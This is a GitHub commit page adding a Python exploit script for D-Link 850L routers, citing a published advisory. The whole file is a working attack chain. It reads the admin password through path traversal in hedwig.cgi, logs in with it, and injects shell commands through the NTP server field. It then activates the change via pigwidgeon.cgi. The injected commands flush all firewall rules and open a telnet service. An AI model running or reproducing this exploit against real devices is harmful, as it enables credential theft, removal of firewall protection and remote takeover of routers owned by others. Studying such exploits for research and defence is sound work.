Skip to content

Commit 0a714b5

Browse files
author
张德帅
authored
D-Link 850L Multiple Vulnerabilities
https://blogs.securiteam.com/index.php/archives/3364
1 parent a683c21 commit 0a714b5

File tree

1 file changed

+150
-0
lines changed

1 file changed

+150
-0
lines changed

D-Link_850L.py

Lines changed: 150 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,150 @@
1+
#!/usr/bin/env python3
2+
# pylint: disable=C0103
3+
#
4+
# pip3 install requests lxml
5+
#
6+
import hmac
7+
import json
8+
import sys
9+
from urllib.parse import urljoin
10+
from xml.sax.saxutils import escape
11+
import lxml.etree
12+
import requests
13+
14+
try:
15+
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
16+
except:
17+
pass
18+
19+
TARGET = sys.argv[1]
20+
COMMAND = ";".join([
21+
"iptables -F",
22+
"iptables -X",
23+
"iptables -t nat -F",
24+
"iptables -t nat -X",
25+
"iptables -t mangle -F",
26+
"iptables -t mangle -X",
27+
"iptables -P INPUT ACCEPT",
28+
"iptables -P FORWARD ACCEPT",
29+
"iptables -P OUTPUT ACCEPT",
30+
"telnetd -p 23090 -l /bin/date" # port 'Z2'
31+
])
32+
33+
session = requests.Session()
34+
session.verify = False
35+
36+
############################################################
37+
38+
print("Get password...")
39+
40+
headers = {"Content-Type": "text/xml"}
41+
cookies = {"uid": "whatever"}
42+
data = """<?xml version="1.0" encoding="utf-8"?>
43+
<postxml>
44+
<module>
45+
<service>../../../htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml</service>
46+
</module>
47+
</postxml>"""
48+
49+
resp = session.post(urljoin(TARGET, "/hedwig.cgi"), headers=headers, cookies=cookies, data=data)
50+
# print(resp.text)
51+
52+
# getcfg: <module>...</module>
53+
# hedwig: <?xml version="1.0" encoding="utf-8"?>
54+
# : <hedwig>...</hedwig>
55+
accdata = resp.text[:resp.text.find("<?xml")]
56+
57+
admin_pasw = ""
58+
59+
tree = lxml.etree.fromstring(accdata)
60+
accounts = tree.xpath("/module/device/account/entry")
61+
for acc in accounts:
62+
name = acc.findtext("name", "")
63+
pasw = acc.findtext("password", "")
64+
print("name:", name)
65+
print("pass:", pasw)
66+
if name == "Admin":
67+
admin_pasw = pasw
68+
69+
if not admin_pasw:
70+
print("Admin password not found!")
71+
sys.exit()
72+
73+
############################################################
74+
75+
print("Auth challenge...")
76+
resp = session.get(urljoin(TARGET, "/authentication.cgi"))
77+
# print(resp.text)
78+
79+
resp = json.loads(resp.text)
80+
if resp["status"].lower() != "ok":
81+
print("Failed!")
82+
print(resp.text)
83+
sys.exit()
84+
85+
print("uid:", resp["uid"])
86+
print("challenge:", resp["challenge"])
87+
88+
session.cookies.update({"uid": resp["uid"]})
89+
90+
print("Auth login...")
91+
user_name = "Admin"
92+
user_pasw = admin_pasw
93+
94+
data = {
95+
"id": user_name,
96+
"password": hmac.new(user_pasw.encode(), (user_name + resp["challenge"]).encode(), "md5").hexdigest().upper()
97+
}
98+
resp = session.post(urljoin(TARGET, "/authentication.cgi"), data=data)
99+
# print(resp.text)
100+
101+
resp = json.loads(resp.text)
102+
if resp["status"].lower() != "ok":
103+
print("Failed!")
104+
print(resp.text)
105+
sys.exit()
106+
print("OK")
107+
108+
############################################################
109+
110+
data = {"SERVICES": "DEVICE.TIME"}
111+
resp = session.post(urljoin(TARGET, "/getcfg.php"), data=data)
112+
# print(resp.text)
113+
114+
tree = lxml.etree.fromstring(resp.content)
115+
tree.xpath("//ntp/enable")[0].text = "1"
116+
tree.xpath("//ntp/server")[0].text = "metelesku; (" + COMMAND + ") & exit; "
117+
tree.xpath("//ntp6/enable")[0].text = "1"
118+
119+
############################################################
120+
121+
print("hedwig")
122+
123+
headers = {"Content-Type": "text/xml"}
124+
data = lxml.etree.tostring(tree)
125+
resp = session.post(urljoin(TARGET, "/hedwig.cgi"), headers=headers, data=data)
126+
# print(resp.text)
127+
128+
tree = lxml.etree.fromstring(resp.content)
129+
result = tree.findtext("result")
130+
if result.lower() != "ok":
131+
print("Failed!")
132+
print(resp.text)
133+
sys.exit()
134+
print("OK")
135+
136+
############################################################
137+
138+
print("pigwidgeon")
139+
140+
data = {"ACTIONS": "SETCFG,ACTIVATE"}
141+
resp = session.post(urljoin(TARGET, "/pigwidgeon.cgi"), data=data)
142+
# print(resp.text)
143+
144+
tree = lxml.etree.fromstring(resp.content)
145+
result = tree.findtext("result")
146+
if result.lower() != "ok":
147+
print("Failed!")
148+
print(resp.text)
149+
sys.exit()
150+
print("OK")

0 commit comments

Comments
 (0)